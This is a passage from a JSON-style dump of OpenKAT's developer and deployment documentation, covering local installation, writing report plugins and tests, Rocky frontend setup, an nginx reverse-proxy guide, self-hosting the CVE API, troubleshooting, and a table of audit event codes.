<https://docs.docker.com/engine/install/linux-postinstall/#manage-docker-as-a-non-root-user>`_. Make sure that the Docker `hello-world` image can run as a normal (non-root) user.\n\n#. Install missing Ubuntu packages.\n\n.. code-block:: sh\n\n    sudo apt install make\n..\n\n#. Decide if you want to install the latest stable version of OpenKAT or if you want to run `main`. Clone the OpenKAT repository to a location of your choice as shown below.\n\n.. code-block:: sh\n\n    $ git clone https://github.com/SSC-ICT-Innovatie/nl-kat-coordination.git\n..\n\n#. Change into the cloned repository.\n\n.. code-block:: sh\n\n    $ cd nl-kat-coordination/\n..\n\n#. Create the environment file and run kat.\n\n.. code-block:: sh\n\n    $ make env\n    $ make kat\n..\n\n#. Pet your cat while you wait for all the containers to be built.\n\n#. Get your password from the `.env` file. An example of what this looks like is shown below.\n\n.. code-block:: sh\n\n    $ cat .env | grep DJANGO\n    DJANGO_SUPERUSER_PASSWORD=83d0ddac75c3fed23d2fc3a607affe432f9916d0f9dcc12680\n..\n\n#. Open your browser and go to: `http://localhost:8000/en/login`. Login using the username `superuser@localhost` and the password you found using the previous step (everything after the equal sign `=`).\n\n#. Meowlations! You just installed OpenKAT. As this is your first time using OpenKAT, you will have to walk through the onboarding. This is explained in the user manual: :doc:`../../user-manual/getting-started/onboarding`\n"
  },
  {
    "path": "docs/source/developer-documentation/reports.md",
    "content": "# Reports\n\n## Creating reports\n\n### Location of the report code\n\nThe code of the reports is located inside the `rocky/reports/report_types` folder.\n\n### Steps to create a new report\n\nMake sure Rocky is running so you can see the changes you are about to make.\n\n1. Navigate to the `report_types` folder that contains all the different report types.\n2. Create a new folder with a descriptive name ending with `_report`. Alternatively, you can duplicate an existing folder, modify the names, and clear its contents. (If you’ve done this, continue to step 3.)\n3. Inside the new folder, create the following files: `__init__.py`, `report.html`, and `report.py`.\n4. Define a class within `report.py` with the name of your report and include the following variables:\n\n```\nclass YourNameReport(Report):\n    # The id of your report:\n    id = \"your_report_name\"\n    # The name users will see:\n    name = _(\"Your Report Name\")\n    description = _(\"Give a description to your new report.\")\n    # All the required and optional plugins (can be empty lists):\n    plugins = {\"required\": [\"nmap\"], \"optional\": [\"shodan\", \"nmap-udp\", \"nmap-ports\", \"nmap-ip-range\"]}\n    # The OOI types that can serve as input to generate this report:\n    input_ooi_types = {Hostname, IPAddressV4, IPAddressV6}\n    # Path of report.html:\n    template_path = \"your_report_name/report.html\"\n```\n\n5. Open `reports/report_types/helpers.py` and add your new class to the `REPORTS` constant list.\n6. Implement a method within `report.py` to gather the required data for report generation. See the {ref}`developer-documentation/reports:Collecting data` section for more information.\n7. Design the HTML structure for your report within `report.html`. The generated data from `report.py` can be used with Django Template in this file. For example by referring to the returned value like `{{ data }}`.\n8. Save your changes and refresh the page to see the changes you made immediately.\n\n### Collecting data\n\nData collection happens in the `collect_data` method that the report class should implement. Using the `self.octopoes_api_connector.query_many()` method data for multiple OOIs can be requested in one call. This is better for performance and is the preferred way to fetch data. Methods such as `self.octopoes_api_connector.get_tree()` that work on a single OOI should only be used if the multiple OOI methods don't provide the data that is needed.\nThe `generate_data` method only works on single OOIs and should not be used in new reports. As soon as the existing reports that implement `generate_data` have been moved over to `collect_data` support for `generate_data` will be removed.\n\nUse all existing reports as examples to gather data for your report.\n\n- In the file `rocky/reports/report_types/definitions.py` you can find some methods that may be useful.\n- For querying data from Octopoes, consult `octopoes/octopoes/connector/octopoes.py` which contains various useful methods. Additional information on how to write queries can be found {ref}`here <developer-documentation/octopoes:Querying>`.\n\n## Writing report unit tests\n\n### Purpose of unit testing\n\nUnit tests validate whether the output of your newly created report matches the expected results. To do this, you need to recreate the report using mocked data.\n\n### Steps for writing unit tests\n\n1. Create a new test file within `tests/reports` with the name of your report, starting with `test_` and ending with `_report.py`.\n2. Inside this file, create at least one function with the name of your test, starting with `test_your_report_name_`, followed by a description of the test. Try to create different tests to cover various scenarios, such as:\n   - Empty list returned from the Octopoes query.\n   - Single value returned from the Octopoes query.\n   - Multiple values returned from the Octopoes query.\n3. Write the test within this function. The unit test consist out of multiple parts:\n   - **Mocking data:** Add mocked data to `rocky/tests/conftest.py` as pytest fixture uses `@pytest.fixture`. Pytest fixtures are automatically injected if you add the name of the fixture as an argument to the test function. Make sure to return a value in the fixture. In your test file, define the mocked data. Set the `oois`, `queries` and/or `tree` attributes of the `mock_octopoes_api_connector` with the Octopoes output that the mock should return.\n   - **Collecting data:** Create a variable for your report and call the data collection method with the necessary parameters.\n   - **Checking data:** Compare collected data with expected results, verifying various details to prevent failures.\n\nYour unit test will look something like this:\n\n```\ndef test_my_new_report_multiple_results(mock_octopoes_api_connector, valid_time, hostname, my_mocked_data):\n    # Mocking data:\n    mock_octopoes_api_connector.oois = {\n        hostname.reference: hostname,   # When 'hostname.reference' is requested, return 'hostname'\n    }\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<ooi[is Finding].finding_type\": {\n            hostname.reference: [my_mocked_data],   # When this query is requested, return '[my_mocked_data]'\n        }\n    }\n\n    # Collecting data:\n    report = YourNameReport(mock_octopoes_api_connector)\n    data = report.collect_data([str(hostname.reference)], valid_time)[str(hostname.reference)]\n\n    # Checking data:\n    assert len(data[\"finding_types\"]) == 1\n    assert data[\"finding_types\"][0][\"id\"] == \"KAT-0001\"\n    assert data[\"number_of_hostnames\"] == 1\n    assert data[\"number_of_spf\"] == 0\n\n```\n\n### Executing unit tests\n\nInformation about how to execute unit tests can be found {ref}`here <rocky-testing>`.\n"
  },
  {
    "path": "docs/source/developer-documentation/rocky.md",
    "content": "# Rocky\n\nRocky is part of the openKAT project, made with Django.\nTo comply to government standards, [Manon](https://github.com/minvws/nl-rdo-manon) is used for style and accessibility.\nYarn is used as package manager and ParcelJS is used as bundler to compile the frontend (CSS and Javascript).\nYou can find the Manon repository [here](https://github.com/minvws/nl-rdo-manon).\n\n## Installation\n\n### Containerized\n\nTo run rocky from using Docker, run this from the parent directory `nl-kat-coordination`:\n\n```bash\n$ make kat\n```\n\nand continue reading this document at \"First run\".\n\n### Local\n\nFor a local set up, you need to start the Django app and compile the frontend.\n\n#### Django App\n\nThis requires a working Python (>3.10) environment.\nOne example of how to create, activate and initialize a development environment is:\n\n```bash\n$ python3 -m venv $PWD/.venv\n$ source .venv/bin/activate\n$ python3 -m pip install -r requirements-dev.txt\n```\n\nCopy the `.env-dist` to a `.env` and configure the hosts and credentials to PostgreSQL, RabbitMQ and the other services.\n\n```bash\n$ cp .env-dist .env\n```\n\nFor instance, to configure the PostgreSQL database set the following variables:\n\n```\nROCKY_DB_HOST=\nROCKY_DB_PORT=\nROCKY_DB=\nROCKY_DB_USER=\nROCKY_DB_PASSWORD=\nROCKY_DB_DSN=\n```\n\nHere, `ROCKY_DB_DSN` is optional (e.g. `postgresql://username:password@hostname:port/database_name`)\nand if not set, the other DB variables will be used.\n\nOnce your environment variables are set up (see `.env-dist`, you can initialize Rocky using:\n\n```bash\n$ make build-rocky-native\n```\n\nTo start the Django server, run:\n\n```bash\n$ make run\n```\n\n#### Frontend\n\nYarn is used to bundle CSS and Javascript.\n\nTo compile the frontend using yarn locally, run:\n\n```bash\n$ yarn --ignore-engine\n$ yarn build\n```\n\nTo compile the frontend using Docker, run:\n\n```bash\n$ make build-rocky-frontend\n```\n\nThe app should be running at [localhost:8000](http://localhost:8000).\n\n#### TL;DR\n\nGiven a proper `.env` file, run:\n\n```bash\n$ python3 -m venv $PWD/.venv\n$ source .venv/bin/activate\n$ python3 -m pip install -r requirements-dev.txt\n$ make build-rocky-native\n$ & make run\n$ make build-rocky-frontend\n```\n\n## Development\n\n(rocky-testing)=\n\n### Testing\n\nTo run all unit tests, run:\n\n```bash\n$ make utest\n```\n\n#### Tip\n\nA local Python environment is useful for unit testing even when using Docker.\nFollow the first instructions in the local setup to create a Python environment.\nThen create a `rocky/.env` from the template `rocky/.env-dist` and set `ROCKY_DB_HOST=localhost`.\nNow for the unit tests you should be able to just run\n\n```bash\n$ pytest\n```\n\nto run them locally.\n\nYou can easily parallelize the tests can be parallelized using pytest-xdist:\n\n```bash\n$ python -m pip install pytest-xdist\n$ time pytest  # 1:08,92 on 13-02-2024\n$ time pytest -n 8  # 21,749 on 13-02-2024\n```\n\n## Design\n\n### Fonts license\n\nAll fonts used within Rocky remain under their own license. For example: Fredoka, Open Sans & Tabler icons.\n\nFor more information check their respective folders for extra/ more specific license (if available) or visit:\n\n#### Fredoka\n\nhttps://fonts.google.com/specimen/Fredoka/about\n\n#### Open Sans\n\nhttps://fonts.google.com/specimen/Open+Sans/about\n\n#### Tabler icons\n\nhttps://tabler-icons.io/\n\n## Technical Design\n\n### Running a boefje\n\nThe following diagram shows the triggered flows when running a Boefje from Rocky.\n\n```{mermaid}\nsequenceDiagram\n    participant Rocky\n    participant Scheduler\n    participant Boefje\n    participant Bytes\n    participant Normalizer\n    participant Octopoes\n    Rocky->>+Scheduler: Push Boefje Task\n    Boefje->>Scheduler: Pull Boefje Task\n    Scheduler-->>Rocky: boefje_task.status = dispatched\n    Boefje->>Bytes: Save Raw\n    Boefje->>Scheduler: boefje_task.status = completed\n    Scheduler->>-Rocky: boefje_task.status = completed\n    Bytes-->>Scheduler: Raw File Received\n    Scheduler->>+Scheduler: Push Normalizer Task\n    Normalizer->>Scheduler: Pull Normalizer Task\n    Normalizer->>Bytes: Get Raw\n    Scheduler-->>Rocky: normalizer_task.status = dispatched\n    Normalizer->>Octopoes: Add object(s)\n    Normalizer->>Scheduler: normalizer_task.status = completed\n    Scheduler->>-Rocky: normalizer_task.status = completed\n```\n\n### Rocky View Structure\n\nRocky has a hierarchical set of views that are not easy to capture in a single diagram.\nWe therefore made several diagrams to show the most coherent components.\n\n#### Overview of child Views of the OrganizationViews\n\n```{mermaid}\nclassDiagram\ndirection RL\n    class OrganizationView\n    OrganizationView : organization\n    OrganizationView : octopoes_api_connector\n    OrganizationView : organization_member\n    OrganizationView : indemnification_present\n\n    OrganizationView <|-- View\n    SinglePluginView <|-- OrganizationView\n    BytesRawView <|-- OrganizationView\n    Health <|-- OrganizationView\n    HealthChecks <|-- OrganizationView\n    IndemnificationAddView <|-- OrganizationView\n    OctopoesView <|-- OrganizationView\n    OOIAddTypeSelectView <|-- OrganizationView\n    Report <|-- OrganizationView\n    OrganizationDetailView <|-- OrganizationView\n    OrganizationMemberEditView <|-- OrganizationView\n    DownloadTaskDetail <|-- OrganizationView\n    TaskListView <|-- OrganizationView\n    UploadCSV <|-- OrganizationView\n    UploadRaw <|-- OrganizationView\n    ObjectsBreadcrumbsMixin <|-- OrganizationView\n    OrganizationMemberBreadcrumbsMixin <|-- OrganizationView\n    FindingTypeAddView <|-- OrganizationView\n```\n\n#### Exhaustive overview of OctopoesViews\n\n```{mermaid}\nclassDiagram\ndirection RL\n    class OrganizationView\n    class OctopoesView\n    class SchedulerView\n    class TaskListView\n\n    OctopoesView <|-- OrganizationView\n\n    SchedulerView <|-- OctopoesView\n    TaskListView <|-- SchedulerView\n    BoefjeDetailView <|-- TaskListView\n    OOIDetailView <|-- TaskListView\n    OOIDetailView <|-- OOIRelatedObjectAddView\n    OOIDetailView <|-- OOIFindingManager\n    ChangeClearanceLevel <|-- SchedulerView\n\n    SingleOOIMixin <|-- OctopoesView\n    SingleOOITreeMixin <|-- SingleOOIMixin\n\n    BaseOOIDetailView <|-- SingleOOITreeMixin\n    BaseOOIDetailView <|-- ConnectorFormMixin\n    OOIDetailView <|-- BaseOOIDetailView\n    OOIFindingListView <|-- OOIFindingManager\n    OOIFindingListView <|-- BaseOOIDetailView\n    MuteFindingView <|-- BaseOOIDetailView\n    BaseReportView <|-- BaseOOIDetailView\n\n    OOIReportView <|-- BaseOOIDetailView\n    OOITreeView <|-- BaseOOIDetailView\n    OOISummaryView <|-- OOITreeView\n    OOIGraphView <|-- OOITreeView\n\n    OOIRelatedObjectManager <|-- SingleOOITreeMixin\n    OOIFindingManager <|-- SingleOOITreeMixin\n    OOIRelatedObjectAddView <|-- OOIRelatedObjectManager\n\n    OOIReportPDFView <|-- SingleOOITreeMixin\n    OnboardingSetupScanOOIDetailView <|-- SingleOOITreeMixin\n\n    BaseOOIFormView <|-- SingleOOIMixin\n    OOIDeleteView <|-- SingleOOIMixin\n\n    OnboardingSetupScanOOIAddView <|-- BaseOOIFormView\n    OOIEditView <|-- BaseOOIFormView\n    OOIAddView <|-- BaseOOIFormView\n    FindingAddView <|-- BaseOOIFormView\n\n    BaseOOIListView <|-- ConnectorFormMixin\n    OOIListView <|-- BaseOOIListView\n    FindingListView <|-- BaseOOIListView\n    OOIListExportView <|-- BaseOOIListView\n\n    ScanProfileDetailView <|-- OOIDetailView\n    ScanProfileResetView <|-- OOIDetailView\n```\n\n#### KATalogus Views\n\nThis diagram shows the current view structure and what properties are set in each class for the KATalogus.\n\n```{mermaid}\nclassDiagram\ndirection RL\n    class FormView\n    class OrganizationView\n    class SinglePluginView\n    class KATalogusView\n    class PluginSettingsAddView\n    class PluginEnableDisableView\n    class SingleSettingView\n    class PluginSettingsListView\n\n    OrganizationView : organization\n    OrganizationView : octopoes_api_connector\n    OrganizationView : organization_member\n    OrganizationView : indemnification_present\n\n    SinglePluginView : katalogus_client\n    SinglePluginView : plugin\n    SinglePluginView : plugin_schema\n\n    SingleSettingView : setting_name\n\n    class PluginSettingsDeleteView\n    class BoefjeDetailView\n    class TaskListView\n\n    KATalogusView  <|--  OrganizationView\n    KATalogusView  <|--  FormView\n    SinglePluginView  <|--  OrganizationView\n    SingleSettingView  <|--  SinglePluginView\n    BoefjeDetailView  <|--  PluginSettingsListView\n    BoefjeDetailView  <|--  TaskListView\n    PluginEnableDisableView  <|--  SinglePluginView\n    PluginSettingsAddView  <|--  FormView\n    PluginSettingsAddView  <|--  SinglePluginView\n    PluginSettingsDeleteView  <|--  SingleSettingView\n    PluginSettingsListView  <|--  SinglePluginView\n```\n"
  },
  {
    "path": "docs/source/index.rst",
    "content": "Welcome to the OpenKAT documentation!\n=====================================\n\nThe OpenKAT website can be reached via `this link <https://openkat.nl>`_.\n\nThe documentation is divided into four parts:\n\n- **About OpenKAT**: Here you can read all about what OpenKAT is.\n- **User manual**: Learn how to use OpenKAT in the interface (non-technical).\n- **Installation and deployment**: All the information you need for the installation and deployment of OpenKAT.\n- **Developer documentation**: Do you want to contribute as a developer, check the documentation here!\n\nBelow you find the table of contents for the full OpenKAT documentation. You can also use the search bar or the side bar to navigate the documentation.\n\nIf you are stuck, or believe the documentation is incorrect, you can make a ticket on `our GitHub repository here <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination>`_.\n\n.. toctree::\n   :maxdepth: 2\n   :caption: Contents\n\n   about-openkat/index\n   user-manual/index\n   installation-and-deployment/index\n   developer-documentation/index\n"
  },
  {
    "path": "docs/source/installation-and-deployment/adding-proxy-to-openkat.rst",
    "content": "=======================\nAdding NGINX to OpenKAT\n=======================\n\nAdding a proxy to OpenKAT adds an extra layer of security and creates a clear communications channel. Bas van der Linden made a guide for the installation of NGINX, the efficient OSS webserver which can be used as a proxy for OpenKAT. He suggests it as a good start for a test setup, not for production due to missing settings for security headers. We're happy to include it here.\n\nBackground\n==========\n\nOpenKAT has a number of security measures built in, including those for processing and handling cookies. One way you might notice this is during the installation. If you try to connect to a new OpenKAT installation, there is a good chance you will encounter an error message about secure cookies and CSRF (Cross-site request forgery). This can be a bit confusing.\n\nThe context of the message is that OpenKAT can't properly assess whether the communication is really clearly going from the right address to the right address and is secure. So you have to do something about that.\n\nOne option for this is a so-called proxy service, a service that handles communication with the outside world on behalf of OpenKAT. There are several options for that, but usual practice is to use a web server for that. In this example, we use nginx, an efficient and fast open source web server, for this purpose.\n\nInstallation\n============\n\nWe will use nginx and certbot to facilitate https connections.\n\nInstall the appropriate packages for this:\n\n.. code-block:: sh\n\n    $ sudo apt-get install nginx certbot python3-certbot-nginx\n\nNext, we will build a basic configuration for nginx. In the example below, we use the server name openkat.example.com, obviously change this to the name of your own server.\n\nBy default, on Ubuntu systems, nginx puts its configurations in the directory /etc/nginx/sites-available/. We therefore also create the configuration file for our server in this directory:\n\n.. code-block:: sh\n\n    $ nano /etc/nginx/sites-available/openkat.example.com\n\nThen put the following content in there, but replace the domain name `openkat.example.com` with the domain name you are using for this OpenKAT install:\n\n.. code-block:: sh\n\n    server {\n        listen 80;\n        server_name  openkat.example.com;\n        access_log   /var/log/nginx/openkat.example.com-access.log;\n        error_log\t/var/log/nginx/openkat.example.com-error.log;\n        location / {\n            proxy_set_header HOST $host;\n            proxy_set_header X-Forwarded-Proto $scheme;\n            proxy_set_header X-Real-IP $remote_addr;\n            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n            proxy_pass http://localhost:8000;\n        }\n    }\n\nWith this, we have set up minimal things for OpenKAT. Much more is possible, but this is the minimum we need to use OpenKAT properly.\nwe assume that OpenKAT listens on the server to port 8000, you could check this by doing ``wget -O- localhost:8000`` it should show you some html output.\n\nLogging\n=======\n\nWe write the log files in the directory ``/var/log/nginx/``.\nIf you rename the log files (in particular, give them an extension other than .log) or put them in a different place, you will have to reconfigure Logrotate for this as well, otherwise, the log files will continue to grow indefinitely.\nFor this, see the configuration in the file ``/etc/logrotate.d/nginx``\n\nActivation\n==========\n\nNow that we have the configuration, we need to activate it. To do this, use the following command:\n\n.. code-block:: sh\n\n    $ ln -sf /etc/nginx/sites-available/openkat.example.com /etc/nginx/sites-enabled/\n\n(Obviously adjust the file names to what you have used yourself)\n\nYou can check that the configuration is correct with the following command:\n\n.. code-block:: sh\n\n    $ nginx -t\n\nIf everything is okay, it will report it that way. If there is an error in the configuration (because you forgot an ; somewhere, for example), it will show you the line number where the problem is near. Note: So you might need to add an ; on the previous line.\n\n.. code-block:: sh\n\n    $ service nginx reload\n\nSSL certificates\n================\n\nWith this basic configuration, we can then let Certbot arrange an SSL certificate; Certbot itself will also take care of setting this up in your web server configuration.\nBefore we can setup a certificate, you need to make sure the domain name you used in the earlier config points to the external IP address for the host running nginx.\n\nThis is very simple: you just need to start Certbot and answer the questions. Starting Certbot is done with the following command:\n\n.. code-block:: sh\n\n    $ certbot\n\nIf all went well, you now have an nginx configuration containing an SSL certificate configured.\n\nRestart NGINX and go\n====================\n\nRestart nginx to load all the configurations and you can use OpenKAT! The command for that is:\n\n.. code-block:: sh\n\n    $ service nginx restart\n\nOnce everything has rebooted, you can access your installation via the hostname you set up, e.g. https://openkat.example.com/\n\nSecurity settings\n=================\n\nCertbot takes care of several settings and you can find more relevant headers in the 'hardening' section of this manual.\n"
  },
  {
    "path": "docs/source/installation-and-deployment/cveapi.rst",
    "content": "=======\nCVE API\n=======\n\nOpenKAT will request information about CVE's from https://cve.openkat.dev. It is\npossible to run your own instance in case you don't want to rely on third party\nservice for this. The kat-cveapi Debian package that can be downloaded from\n`GitHub <https://github.com/minvws/nl-kat-coordination/releases/latest>`__ can\nbe used for this.\n\nThe package has a script that will download all the CVE information to the\n``/var/lib/kat-cveapi`` directory. The package includes a systemd timer that will\nrun the script after the package is installed and hourly to keep the CVE\ninformation up-to-date. The ``/var/lib/kat-cveapi`` can then be served as static\nfiles by your webserver. Example nginx configuration that is used by\nhttps://cve.openkat.dev/:\n\n.. code-block:: sh\n\n    server {\n        listen   [::]:443;\n\n        server_name cve.openkat.dev;\n\n        ssl_certificate /etc/letsencrypt/live/openkat.dev/fullchain.pem;\n        ssl_certificate_key /etc/letsencrypt/live/openkat.dev/privkey.pem;\n\n        access_log /var/log/nginx/cve/access.log;\n        error_log /var/log/nginx/cve/error.log;\n\n        root /var/lib/kat-cveapi;\n    }\n\nThe CVEAPI_URL configuration parameter of the kat_cve_finding_types boefje can\nthen be set to your own instance.\n\nDocker Compose\n--------------\n\nFor development and testing, a local CVE API can be started as an optional\nDocker Compose service using the ``cveapi`` profile:\n\n.. code-block:: sh\n\n    COMPOSE_PROFILES=cveapi make kat\n\nThis starts a container that downloads all CVE data from the NVD API and serves\nit as static JSON files. The initial download takes some time (~300,000+ CVEs,\n~2 GB) but subsequent runs only fetch updates. The data is stored in a persistent\nvolume and updated every 24 hours.\n\nThe ``BOEFJE_CVEAPI_URL`` environment variable defaults to the public API at\n``https://cveapi.librekat.nl/v1``. To use the local instance instead, add\n``BOEFJE_CVEAPI_URL=http://cveapi:8080/v1`` to your ``.env`` file.\n"
  },
  {
    "path": "docs/source/installation-and-deployment/debugging-troubleshooting.rst",
    "content": "=============================\nDebugging and troubleshooting\n=============================\n\nIf OpenKAT does not function in the way you expect, there are several options to help you find the cause and solve the problem. Checking the healthpage, logs, services and usersettings are the basics.\n\nIf you can't find it, we look forward to bugreports as well. Squashing bugs makes everyone happy. Create an issue on GitHub or send us a report on meedoen@openkat.nl.\n\n\nHealthpage\n==========\n\nThe admin and superuser accounts have access to the health page. In the footer of every page, you can find a link to the Health page.\nThis page shows the status of all containerized KAT modules, their version, and any self-reported warnings or errors.\nIf you KAT deployment is not working properly, this is the first place to check.\n\n.. image:: img/healthpage.png\n  :alt: healthpage\n\nYou can also access the health JSON endpoint programmatically at ``http<s>://<rocky-host>/<org-code>/health``.\n\nIf one of the modules is unhappy, the 'windows 3.11 approach' of a simple restart might be needed. Otherwise there might be a configuration issue or bug. In the latter two cases, check the issues on Github or contact the team on signal or IRC.\n\nProcesses\n=========\n\nWhen debugging, check if the actual processes are running. Depending on the way you run OpenKAT, there are several ways to do this:\n\nDocker containers\n-----------------\n\n``docker ps`` gives you an overview of all running Docker containers.\n\n.. image:: img/dockerps.png\n  :alt: docker containers\n\nPackaged versions\n-----------------\n\n``systemctl status KAT-*`` gives you an overview of all KAT related processes.\n\nThe relevant services for OpenKAT:\n\n* kat-mula.service\n* kat-octopoes.service\n* kat-rocky.service\n* kat-rocky-worker.service\n* kat-boefjes.service\n* kat-katalogus.service\n* kat-octopoes-worker.service\n* kat-normalizers.service\n* kat-bytes.service\n\nDebian package service logs\n---------------------------\n\nSometimes, the logs might give output that is useful.\n\n``journalctl`` has the output of the logs. Select the ``kat-*`` related services and relevant timeframe to find out more about the service you want to inspect.\n\nDiskspace in debug mode\n=======================\n\nWhen OpenKAT runs in debug mode, it produces large logfiles. Several hours of debug mode might fill a disk, so make sure to check this and clean up space.\n\nXTDB memory size\n================\n\nIn bigger installations, XTDB might need more memory to function properly. This will show up as XTDB repeatedly crashing with: ``Terminating due to java.lang.OutOfMemoryError: Java heap space``\n\nGiving xtdb more memory can help to solve this issue. The xtdb-http-multinode README contains some short instructions for this, namely increasing the ``Xmx (max heap)`` and maybe also ``MaxDirectMemorySize`` in the ``JAVA_TOOL_OPTIONS`` environment variable for the XTDB Docker container. The default for this variable is ``-Xms128M -Xmx512M -XX:MaxDirectMemorySize=512M -XX:+ExitOnOutOfMemoryError``.\n\nIn the Debian package there are two different variables, namely ``MAX_MEMORY`` and ``MAX_DIRECT_MEMORY`` (see ``xtdb-http-multinode.service``). These can be set using a systemd unit file override (``systemctl edit``).\n\nPermissions\n===========\n\nCheck in the user interface if the users have permission to perform scans and are part of an organization.\n\nThe current usermodel also needs a superuser that is part of an organization. Normally this is set automagically. With several organizations in your instance the superuser might end up alone. This must be corrected through the Django interface, in which the superuser can be added to the organization.\n\nYou can reach the Django admin interface through ``/admin`` on the rocky instance. While you are there, do check the :doc:`/installation-and-deployment/hardening` page if you have not already done so.\n"
  },
  {
    "path": "docs/source/installation-and-deployment/developer-environment.rst",
    "content": "Developer environment\n=====================\n\nComing soon!\n"
  },
  {
    "path": "docs/source/installation-and-deployment/environment-settings/index.rst",
    "content": "Environment settings\n####################\n\nComplete list with environment settings for each module, generated from Pydantic.\n\n.. toctree::\n   :maxdepth: 2\n   :caption: Contents\n\n   boefjes\n   bytes\n   mula\n   octopoes\n   rocky\n"
  },
  {
    "path": "docs/source/installation-and-deployment/environment-settings/rocky.md",
    "content": "# Rocky\n\nNote that Rocky does not support auto-generated environment documentation.\n\nThe following places contain more information about which settings Rocky supports:\n\n- [rocky/rocky/settings.py](https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/blob/main/rocky/rocky/settings.py)\n- [.env-defaults](https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/blob/main/.env-defaults)\n- [.env-dist](https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/blob/main/.env-dist)\n- [Django docs about settings](https://docs.djangoproject.com/en/4.2/topics/settings/)\n- [Django complete settings reference](https://docs.djangoproject.com/en/4.2/ref/settings/)\n\n## Email Settings\n\nUsing the environment variables as defined in [rocky/rocky/settings.py](https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/blob/main/rocky/rocky/settings.py#L102-L122) you have the ability to define email settings for your OpenKAT installation. These are the Django email settings, see the [django documentation](https://docs.djangoproject.com/en/4.2/topics/email/#smtp-backend) for more information.\n"
  },
  {
    "path": "docs/source/installation-and-deployment/events-and-logging.rst",
    "content": "==================\nEvents and Logging\n==================\n\nFor Events we use CRUDE (create, read, update, delete, execute) as specified in the NEN7513.\n\nDifferent routes have different ranges of Event Codes, the ranges are as follows:\n\n- login_event: 0900** & 09XXXXX, where XXXX = 1111, 2222, 3333 etc.\n- file_action: 7000**\n- ooi_change: 80000* - 80001* & 10050* & 90023*\n- plugin_change: 80002* - 80003*\n- job_change: 80005*\n- report_change: 80007*\n- schedule_change 80008*\n- report_recipe_change 80009*\n- dashboard_change 90030*\n- dashboarddata_change 90030*\n- account_change: 9001**\n- organization_change: 90020* 0 90021* & 9*0000\n- indemnification_change: 90022*\n- observation_change: 10010*\n- declaration_change: 10020*\n- affirmation_change: 10030*\n- origin_change: 10040*\n\n========== ================== ====================== =========================================== =====\nEvent code Model              Routing key            Description                                 CRUDE\n========== ================== ====================== =========================================== =====\n090001     Session            login_event            A session is created.                       C\n090002     Session            login_event            A session updated.                          U\n090003     Session            login_event            A session is deleted.                       D\n091111     KATUser            login_event            A user logged in.                           E\n092222     KATUser            login_event            A user logged out.                          E\n093333     TOTPDevice         login_event            A user MFA failed.                          E\n094444     KATUser            login_event            A user login failed.                        E\n700001     RawData            file_action            A raw file is downloaded.                   E\n800010     ScanProfile        ooi_change             A scan profile is (re)declared.             U\n800011     ScanProfile        ooi_change             A scan profile set to empty.                D\n800021     Plugin             plugin_change          A plugin is enabled.                        U\n800022     Plugin             plugin_change          A plugin is disabled.                       U\n800023     Plugin             plugin_change          Settings of a plugin are updated.           U\n800024     Plugin             plugin_change          Settings of a plugin are deleted.           D\n800025     Plugin             plugin_change          A plugin is created.                        C\n800026     Plugin             plugin_change          A plugin is updated.                        U\n800051     Job                job_change             A job is manually created.                  C\n800071     Report             report_change          A report is created.                        C\n800073     Report             report_change          A report is deleted.                        D\n800081     Schedule           schedule_change        A schedule is created.                      C\n800082     Schedule           schedule_change        A schedule is edited.                       U\n800083     Schedule           schedule_change        A schedule is deleted.                      D\n800091     ReportRecipe       report_recipe_change   A Report Recipe is created.                 C\n900100     KATUser            account_change         A new user created.                         C\n900101     KATUser            account_change         User data changed.                          U\n900104     KATUser            account_change         Account status changed (Enabled/Disabled).  U\n900105     KATUser            account_change         User credential reset is performed.         E\n900106     OrganizationMember account_change         User organization membership changed.       U\n900108     Indemnification    account_change         Set trusted clearance level.                U\n900109     Indemnification    account_change         Set accepted clearance level.               U\n900110     KATUser            account_change         A user is deleted.                          D\n900111     TOTPDevice         account_change         2FA is removed.                             D\n900112     TOTPDevice         account_change         2FA is updated.                             U\n900201     Organization       organization_change    A new organization is created.              C\n900202     Organization       organization_change    Organization information changed.           U\n900203     Organization       organization_change    Organization is removed.                    D\n900211     OrganizationMember organization_change    User organization membership created.       C\n900212     OrganizationMember organization_change    User organization membership changed.       U\n900213     OrganizationMember organization_change    User organization membership removed.       D\n900221     Indemnification    indemnification_change An indemnification is created.              C\n900222     Indemnification    indemnification_change An indemnification changed.                 U\n900223     Indemnification    indemnification_change An indemnification is removed.              D\n900231     OOIInformation     ooi_change             OOI information is created.                 C\n900232     OOIInformation     ooi_change             OOI information changed.                    U\n900233     OOIInformation     ooi_change             OOI information is removed.                 D\n900301     Dashboard          dashboard_change       A Dashboard is created.                     C\n900302     Dashboard          dashboard_change       A Dashboard is edited.                      U\n900303     Dashboard          dashboard_change       A Dashboard is deleted.                     D\n900307     DashboardItem      dashboard_item_change  A Dashboard item is created.                C\n900308     DashboardItem      dashboard_item_change  A Dashboard item is edited.                 U\n900309     DashboardItem      dashboard_item_change  A Dashboard item is deleted.                D\n900310     DashboardItem      dashboard_item_change  A Dashboard item is repositioned.           U\n910000     Organization       organization_change    An organization is cloned.                  C\n920000     Organization       organization_change    Recalculated bits for organizations         U\n100101     Observation        observation_change     An observation is created.                  C\n100201     Declaration        declaration_change     A declaration is created.                   C\n100301     Affirmation        affirmation_change     An affirmation is created.                  C\n100403     Origin             origin_change          An origin is deleted.                       D\n100503     OOI                ooi_change             An object is deleted.                       D\n========== ================== ====================== =========================================== =====\n"
  },
  {
    "path": "docs/source/installation-and-deployment/external-authentication.rst",
